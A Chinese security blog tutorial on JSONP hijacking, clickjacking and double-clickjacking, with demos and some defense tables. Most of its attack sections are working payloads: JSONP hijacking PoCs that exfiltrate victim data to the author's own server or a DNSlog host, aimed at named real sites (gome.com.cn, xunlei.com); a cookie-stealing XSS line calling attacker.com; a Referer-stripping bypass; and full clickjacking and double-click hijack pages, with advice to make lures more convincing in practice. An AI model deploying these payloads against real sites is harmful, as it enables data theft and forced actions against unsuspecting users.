浅析JSONP、点击劫持、双击劫持

一文彻底领悟JSONP、点击劫持、双击劫持漏洞

JSONP

JSONP(JSON with Padding)是一种用于解决跨域数据请求的变通方案,其核心原理是利用 <script> 标签的跨域特性绕过同源策略

我们以一个例子来展开

现在我们有两个服务器(IP1:http://test:8069/、IP2: http://php/),我们在IP1服务器上搭建了一个服务,为了减轻服务器的负担,我们把这个服务需要的文件放在IP2服务器上,IP1机器需要从IP2服务器上加载一个远程文件,那我们如何绕过同源策略,去加载文件呢?请继续看下去

远程文件如下:http://php/1.json

用户在使用服务时,IP1就可以使用<script>的src属性,来远程加载IP2的1.json文件,获取信息1.json的代码,替换下述行

1
<script src='http://php/1.json'></script>

搭建个demo看看效果

IP1(http://test:8069/1.html

1
2
3
4
5
6
7
8
<body>
<script>
function testfun(data){
alert(data);
}
</script>
<script src="http://php/1.json"></script>
</body>

IP2(http://php/1.json

1
testfun(111)

访问http://test:8069/1.html时,也就就会弹窗

image-20250226193158957

其实此时IP1下的1.html就等价于

1
2
3
4
5
6
7
8
<body>
<script>
function testfun(data){
alert(data);
}
</script>
<script>testfun(111)</script>
</body>

这就是简单的一个jsonp实现

那我们如何利用这个特性来获取数据呢?

我们简单对1.json文件的内容进行如下修改

1
callback({ username: "Sentim", password: "123456" })

然后对1.html修改为

1
2
3
4
5
6
7
8
<body>
<script>
function callback(data){
alert("name:"+data.username+" passwrod:"+data.password);
}
</script>
<script src="http://php/1.json"></script>
</body>

那不就变成了

1
2
3
4
5
6
7
8
<body>
<script>
function callback(data){
alert("name:"+data.username+" passwrod:"+data.password);
}
</script>
<script>callback({ username: "Sentim", password: "123456" })</script>
</body>

就会返回数据

image-20250226193904003

JSONP劫持漏洞

JSONP 劫持(JSONP Hijacking) 是一种利用 JSONP(JSON with Padding)跨域数据交互机制的安全漏洞,攻击者通过构造恶意页面窃取用户敏感数据。其核心原理是:绕过同源策略(Same-Origin Policy),诱导用户访问恶意网站,从而截获目标网站的 JSONP 接口返回的隐私信息。

漏洞探针

当我们发现某个功能点返回的数据类似于xxx({ username: "Sentim", password: "123456" })

那我们就可以编写js来劫持获取它传输的数据

漏洞原理&利用

在早期,前后端分离等技术还不成熟的时候,这种问题实际上是非常常见的。很多开发者的设计方法简单粗暴,一个简单的例子,一个A论坛,有一个返回用户信息的接口,开发者的设计理念是,用户在登录状态下访问网站,会调用这个接口,这是一个jsonp接口,返回的内容就是:

xxxxx({ username: “Sentim”, password: “123456” })

然后前端通过上述方法获取其信息并加载到网页上。

虽然很方便,但是我们只需要找出这个jsonp接口,然后按上述方法加工成jsonp.html,如果一个在A论坛处于登陆状态的用户不慎访问到了黑客在网站B部署的jsonp.html,那么我们就可以获取用户的敏感信息了!

我们再简单写个demo,http://test:8069/test.php

1
2
3
4
5
6
7
8
9
10
<?php
header('Content-type:application/json');
error_reporting(0);
session_start();
$callback =$_GET['callback'];
$name =$_GET['name'];//模拟admin的session
if($name='admin'){
echo $callback."({'id':1,'name':'Sentiment'})";
}
?>

假设用户在admin权限下访问http://test:8069/test.php?callback=testme

那么就会返回

testme({‘id’:1,’name’:’Sentiment’})

同时可以把这些敏感数据外带

我们直接编写POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>lol</title>
<meta charset="utf-8">
</head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
function testme(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://<自己服务器的IP>/1.html?value='+h);<!--数据外带-->
}
</script>
<script src="http://test:8069/test.php?callback=testme&name=admin"></script>
<body>
<h1>Welcome</h1>
</body>
</html>

为什么这个callback=testme,这个testme要和POC中写的那个获取信息的函数的函数名是一样的?非常简单,程序员在开发jsonp接口的时候,其开发习惯就是这样的,jsonp接口通过一个参数(一般参数名都是callback),这个参数接收到的数据就会作为函数名被拼接成

1
函数名({"数据","数据"})

所以上述代码就变成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>lol</title>
<meta charset="utf-8">
</head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
function testme(v){
alert("JSONP hijacking");
var h = '';
for(var key in v){
var a = '';
a = key + ' : ' + v[key] + ' ,';
h += a;
}
alert(h);
$.get('http://<自己服务器的IP>/1.html?value='+h);
}
</script>
<script>testme({'id':1,'name':'Sentiment'})</script>
<body>
<h1>Welcome</h1>
</body>
</html>

然后我们访问我们的poc脚本1.html

image-20250226203749427

再看我们的服务器也成功外带了数据

image-20250226203837519

反正在挖掘这块,我们可以着重注意某个接口的返回结果是否是

testme({‘id’:1,’name’:’Sentiment’})

类似这样的数据类型,如果是,那么这就是一个jsonp接口,我们可以尝试jsonp劫持获取其数据!

当然jsonp劫持,一般来说只有劫持到有敏感信息的接口危害才比较大.

常用Payload

1、验证jsonp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>


<script>
function jsoncallback(json){
//new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>


</body>
</html>
2、发送Dnslog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>


<script>
function jsoncallback(json){
new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)
//alert(JSON.stringify(json))
}
</script>
<script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>


</body>
</html>
3、jQuery jsonp验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>


<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>


<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "jsoncallback",
//指定回调函数名称
success: function (data) {
var result = JSON.stringify(data);
//json对象转成字符串
$("#text").val(result);
}
})
})
})
</script>


<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>


</body>
</html>
4、jQuery 发送Dnslog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>


<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>


<script>
$(document).ready(function(){
$("#button").click(function(){
$.ajax({
url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",
type: "GET", //指定GET请求方法
dataType: "jsonp", //指定服务器返回的数据类型
jsonp: "callback", //指定参数名称
jsonpCallback: "jsoncallback",
//指定回调函数名称
success: function (data) {
new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))
//var result = JSON.stringify(data);
//json对象转成字符串
//$("#text").val(result);
}
})
})
})
</script>


<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>


</body>
</html>

5、jQuey javascript调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JSONP EXP跨域测试</title>
</head>
<body>


<script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">
</script>


<script>
//回调函数
function jsoncallback (result) {
var data = JSON.stringify(result); //json对象转成字符串
$("#text").val(data);
}


$(document).ready(function () {


$("#button").click(function () {
//向头部输入一个脚本,该脚本发起一个跨域请求
$("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'><\/script>");
});


});
</script>


<input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />
<textarea id="text" style="width: 400px; height: 100px;"></textarea>


</body>
</html>

JSONP绕过

绕过Referer头部检测

a、有些检查Referer不严格的,只检查Referer中有自身域名字段(例如:assc.com),我们就可以构造http://attack.com/1.html?a=assc.com就可以直接绕过,与CSRF差不多

b、有时候开发允许Referer置空,毕竟不是访问任何站点都要带Referer。然后就是另外一种置空方式,利用 <iframe> 标签调用 javscript 伪协议来实现空 Referer 调用 JSON 文件

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang='en'>
<head>
<title>jsonp 不带Referer</title>
</head>
<body>
jsonp 不带Referer 劫持测试
</body>
<iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>

总之大体上的绕过思路和CSRF一致,依葫芦画瓢即可

万能POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang='en'>
<head>
<meta name="referrer" content="never" charset="utf-8">
<title>jsonp获取百度</title>
</head>
<body>
<h1>JSONP 获取百度ID</h1>

</body>
<script type="text/javascript">
function testme(data){ //这里的函数名要看返回内容是咋样的
var hacker_data = JSON.stringify(data)
document.write("<p>" + hacker_data + "</p>")
alert(hacker_data)
var xmlHttp;
xmlHttp=new XMLHttpRequest();
var url = "http://<自己服务器>/testok.php?user="+ btoa(hacker_data);
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
</script>
<script src="https://api-u-ssl.xunlei.com/common/GetVipAccount?callback=Zepto1690179020979"></script>

<!--写成PHP添加orgin header解决跨域传输问题
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept");-->

</html>

这个万能POC就是主要注意三个修改的地方:

1、callback的参数值要与实际场景而定,例如如果相应包中是testme({'id':1,'name':'Sentiment'})这种形式,那么就要修改为callback=testme

2、发送请求的函数名,如 1 的种情况,就要改为function testme(data)

3、接收数据服务器地址,根据自己的服务器地址来填var url = "http://<自己服务器>/testok.php?user="

挖掘技巧

burp插件

JSONP-hunter:https://github.com/p1g3/JSONP-Hunter

image-20250226212020977

主要检测参数callback,但是实际情况不一定都是使用的callback参数,还是要自己查看请求包,观察相应包是否与testme({'id':1,'name':'Sentiment'})相近的数据

JSONP型xss

当我们使用callback时,其实是满足吃什么吐什么的条件的,举个例子,你在jsonp接口传入:

?callback=hello的时候,页面上就会出现以hello开头的一串数据,这不就是吃什么吐什么吗?那么这里就可能造成XSS(<script>(new Image).src='http://attacker.com/steal?data='+btoa(document.cookie);</script>),但是需要条件

这个和content-type有关系,当数据包的默认content-type为text/html时,那么这个点就会触发反射型XSS,值得一提的是,PHP默认content-type就是text/html,所以可以对PHP进一步关注

经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS

XSS打JSONP

只需要找到一个符合referer、origin要求的域名,然后找个XSS,用XSS来打JSONP劫持。

反正我们JSONP劫持的攻击POC也就是JS代码,我们可以把XSS payload设置成,当触发XSS的时候,自动运行JSONP劫持的JS代码就行了!也算是xss的一种利用方式。

JSONP防御

防御方式 安全性 适用场景
仅允许受信任的来源 较低 只能作为辅助措施
采用 Token 验证 较高 需要身份验证的 API
限制 callback 名称 中等 防止 XSS,但无法阻止数据泄露
采用 CORS 代替 JSONP 最高 推荐使用,适用于所有现代 Web 应用
关闭 JSONP 最佳 如果可以,完全禁用 JSONP

点击劫持漏洞

介绍&原理说明

点击劫持是一种非常简单的漏洞,它的意思就是说,我们跳转到某个页面,但是在这个页面上覆盖了攻击者自定义的一个页面(使用iframe加载原截面),受害者看到的页面是被覆盖后的页面,这个页面上有些可供点击的功能点。受害人点击这些功能点的时候,殊不知实际上点击的是原来的页面上的某些点,因此当原界面上有些敏感操作的按钮的时候(比如删除用户、新增用户、关注投币收藏等类似的功能),就会被触发。这就是点击劫持。

通过上面的描述可以很清晰的看出,这个漏洞造成的危害和CSRF是类似的。

漏洞实现

以一个payload为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE HTML>
<html>
<meta http-equiv="Content-Type" content="text/html; charset="utf-8" />
<head>
<title>点击劫持</title>
<style>
html,body,iframe{
display: block;
height: 100%;
width: 100%;
margin: 0;
padding: 0;
border:none;
}
iframe{
opacity:0.3;
filter:alpha(opacity=0);
position:absolute;
z-index:2;
}
button{
position:absolute;
top: 350px;
left: 850px;
z-index: 1;
width: 72px;
height: 26px;
}
</style>
</head>
<body>
万万想不到
<button>查看详情</button>
<iframe src="https://tieba.baidu.com/p/9536743109"></iframe>
</body>
</html>

//Iframe标签里填的地址是存在可能被点击劫持按钮的界面
//opacity 意为透明度,可以先调高一点来调整按钮位置,确认无误之后再调低
//button里的width和height可以调整按钮大小
//button里的top 和 left可以调节按钮在页面中的位置

界面如下

image-20250302113237528

当他人在登陆情况下,点击我的上述查看详情payload,他就会收藏活动了,当然我们可以自定义按钮的位置,界面透明度,来诱导用户点击。当然,实战中的话,你还可以把这个伪装页面设计的更逼真更有诱导性一点,总之举一反三即可

image-20250302110858795

变种

这个变种主要来自于我们payload的多样性。

分别可以有拖拽、滑动,甚至是扫码(具体实现直接启用GPT实现即可)。只要是做的够好,就可以瞒天过海,神不知鬼不觉的盗取数据!!!

漏洞对抗

要对抗这种经典的点击劫持漏洞非常简单,只需要确保我们的敏感页面不能被iframe加载就行,使用X-Frame-Options或者CSP机制都可以实现防御,这里我们在响应头里使用X-Frame-Options来防御

使用 X-Frame-Options 有三个可选的值:

1
2
3
DENY:浏览器拒绝当前页面加载任何iFrame页面
SAMEORIGIN:iframe页面的地址只能为同源域名下的页面
ALLOW-FROM:origin为允许iframe加载的页面地址

如下图,我们在响应头里添加X-Frame-Options: DENY去进行防御

image-20250227195358033

访问就会发现失败了

image-20250227195335234

使用

image-20250227195547880

也会无法连接,只有当header('X-Frame-Options:ALLOW-FROM');以及没有X-Frame-Options头部时,才能使用iframe加载敏感页面

image-20250227195836496

此外还有一些防御方法,比如使用SameSite=Lax、SameSite=Strict去禁止跨站请求中发送Cookie,这样我们无法通过鉴权,不具备正常的用户身份,这样绝大多数敏感操作都没有意义了。

总结

所以记住好点击劫持的那几个POC。然后主要也和CSRF有点类似,要时刻注意那些敏感的用户操作,而且点击劫持更严苛,我们要注意那些能够实现“一键”完成功能的敏感操作。

比方说什么删除当前帐号,再比如什么一键重置密码,再比如一键转账之类的,反正当你发现光秃秃的点一下按钮,就能直接实现某些特定操作的时候,就要想到能不去点击劫持。

当然既然是敏感用户操作,我们还是最好先去看看CSRF,点击劫持毕竟也是冷门漏洞,虽然都可以实现控制用户行为的效果,但是点击劫持适用范围比CSRF更小,所以遇到敏感用户操作还是先看CSRF后看点击劫持比较好!

双击劫持漏洞

介绍

多次劫持漏洞不像上述漏洞一样使用iframe来加载页面。而是利用多个窗口中单击开始和第二次单击结束之间的小间隙,而不使用任何弹出式技巧。攻击者出于看似合法的原因加载(或打开)新窗口,例如“验证码验证”。然后,就在按下第二次点击之前,恶意网站可以从同一浏览器会话(例如 OAuth 授权提示)快速切换到更敏感的窗口,从而有效地劫持第二次点击。

感谢以下分享

1
2
https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html
https://mp.weixin.qq.com/s/X0DegKo9ALB9FBWDAW1BIw

漏洞复现

我们以下面这两个文件为目标站点,模拟敏感操作

test.php(删除模块)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>模板删除</title>
<style>
body {
margin: 0;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f0f0f0;
}
.container {
text-align: center;
}
.delete-btn {
background-color: #ff4444;
color: white;
padding: 18px 45px;
border-radius: 6px;
font-size: 18px;
cursor: pointer;
transition: all 0.3s;
border: none;
text-decoration: none;
display: inline-block;
margin-bottom: 12px;
}
.delete-btn:hover {
background-color: #dd3333;
transform: scale(1.05);
}
.warning-text {
color: #666;
font-size: 14px;
max-width: 280px;
margin: 0 auto;
line-height: 1.6;
}
</style>
</head>
<body>
<div class="container">
<a href="test2.php" class="delete-btn">删除模板</a>
<p class="warning-text">删除操作不可撤销,确定要继续操作吗?</p>
</div>
</body>
</html>

test2.php(删除成功的回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
<title>删除成功</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
font-size: 24px;
color: #4CAF50;
}
</style>
</head>
<body>
<?= htmlspecialchars('Delete Success!') ?>
</body>
</html>

然后编写POC(该POC要以html形式保存到我们的服务器上才行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE HTML>
<html>
<script>
function openDoubleWindow(url, top, left, width, height) {
var evilWindow = window.open(window.location.protocol+"//"+
window.location.hostname+":"+
window.location.port+"/random",
"_blank");
evilWindow.onload = function() {
evilWindow.document.open();
evilWindow.document.write(`
<script>
setTimeout(function() {
opener.location = "${url}";
}, 1000);
</scr`+`ipt>
<div id="doubleclick" type="button" class="button"
style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';"
onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>
<script>
document.getElementById('doubleclick').addEventListener('mousedown', function() {
window.close();
});
</scr`+`ipt>`);
evilWindow.document.close();
};
}
</script>
<!-- Replace value's below with the URL and top, left, width, height of a button you want to doublejack with -->
<button onclick="openDoubleWindow('http://test:8069/test.php', 428, 730, 210, 50)">open</button>
</html>

POC构建页面如下

image-20250227221809428

当用户上当,双击了”Double Click Here”按钮时,第一次点击就会关闭当前页面,之后就会跳转后敏感操作界面,然后第二次点击就会点击到另一个网页下与此按钮同一个位置下的”删除模块”按钮,就是实现的删除的敏感操作。

当然我这个为了演示,是加了延迟跳转的,实际情况下可以直接点击open按钮后,直接跳转。当然要是运用到实战中去,肯定界面不会如此简陋,还可以更有诱惑力

POC分析

我们再来分析其POC来剖析是如何实现的

1
<button onclick="openDoubleWindow('http://test:8069/test.php', 428, 730, 210, 50)">open</button>

1、点击触发:用户点击页面上的 <button> 元素,该按钮的 onclick 事件会触发 openDoubleWindow() 函数。

1
2
3
4
5
6
7
8
9
10
11
12
function openDoubleWindow(url, top, left, width, height) {
var evilWindow = window.open(window.location.protocol+"//"+
window.location.hostname+":"+
window.location.port+"/random",
"_blank");
evilWindow.onload = function() {
evilWindow.document.open();
evilWindow.document.write(`
定义双击劫持诱导页面`)
evilWindow.document.close();
};
}

2、打开新窗口openDoubleWindow() 函数通过 window.open() 打开一个新窗口,加载的 URL 是与当前页面相同源的 /random 路径。这是为了绕过一些浏览器的安全机制,因为打开的这个新窗口不会直接指向恶意链接,而是一个看似无害的本地 URL(即“随机”路径)。新窗口加载后,会执行 evilWindow.onload 中的 JavaScript 代码。

3、恶意代码执行:在新窗口加载完毕后,恶意代码会通过 <script> 标签将一些代码写入新窗口:

延迟操作:1秒后,通过 opener.location = "${url}"; 来修改原始页面的 URL。这实际上是一个窗口跳转,将用户重定向到恶意链接。实际情况下我们可以缩短时间。

1
2
3
setTimeout(function() { 
opener.location = "${url}";
}, 1000);

伪装成按钮:新窗口中还会插入一个按钮样式的 div 元素,样式使得它看起来像一个正常的页面按钮。这个按钮的作用是在用户点击时关闭新窗口。

1
2
3
<div id="doubleclick" type="button" class="button" 
style="top: ${top}px; left: ${left}px; width: ${width}px; height: ${height}px; position: absolute; font-size: 16px; color: white; background-color: #3498db; box-shadow: 5px 5px 10px rgba(0, 0, 0, 0.3); display: flex; justify-content: center; align-items: center; font-weight: bold; text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.3); cursor: pointer; border-radius: 20px; text-align: center; padding: 0 5px; transition: all 0.3s ease;" onmouseover="this.style.backgroundColor='#2980b9'; this.style.boxShadow='6px 6px 12px rgba(0, 0, 0, 0.4)'; this.style.transform='scale(1.05)';"
onmouseout="this.style.backgroundColor='#3498db'; this.style.boxShadow='5px 5px 10px rgba(0, 0, 0, 0.3)'; this.style.transform='scale(1)';">Double Click Here</div>

“两次点击”劫持

  • 用户首先点击原页面的 <button>,这时会打开一个新窗口(即 /random 页面)。在这个新窗口中,隐藏了一个伪装成按钮的元素(div),让它看起来像是一个正常的页面按钮(按钮的外观和行为被精心设计来诱使用户点击)。
  • 用户接下来再点击这个按钮(“Double Click Here”),而这个点击事件会触发新窗口的关闭,并导致通过 opener.location = "${url}"; 进行页面跳转。
  • 换句话说,用户实际上点击了 两次:第一次点击打开新窗口,第二次点击才触发恶意操作(URL 跳转)。

漏洞防御

目前并没有成熟的方法来防御这个双击劫持,我们问一下GPT:

image-20250228132838700

然后让他提供防御代码

image-20250228133031161

很明显,我们都没有使用iframe,它加X-Frame-Options头部完全是无稽之谈,但是为了保险期间,我们还是把这些防范方法写到敏感界面(test.php)中去,看看到底能不能防御到

image-20250228133307418

再次复现以下漏洞,发现在第一次点击关闭窗口后,敏感操作界面直接走样了

image-20250228133428896

这种为了防止漏洞而自砍手臂的方式,肯定是算不上防范方法的

难道就无法防范了吗?有的兄弟有的,原作者给出的解决方案是在用户进入一些敏感页面时,会先把页面上所有可交互的按钮锁住无法点击,在用户正式使用敏感功能前,新增一个验证机制(可以是验证码啥的),通过这个验证码校验后才解锁敏感操作的按钮。虽然有用,但是肯定会影响用户体验。希望后面会有更好的解决方法吧。

总结

还有就是,上述的jsonp、点击劫持其实和csrf差不多一个性质,我们可以先尝试csrf,然后再试试这两个漏洞。然后双击劫持也是一个很偏门的漏洞,具体收取情况还要根据相关的漏洞收取公告来分析!!!希望本次分享可以帮助到师傅们!!!


浅析JSONP、点击劫持、双击劫持
http://example.com/2025/03/02/一文彻底领悟JSONP、点击劫持、双击劫持/
作者
Yf3te
发布于
2025年3月2日
许可协议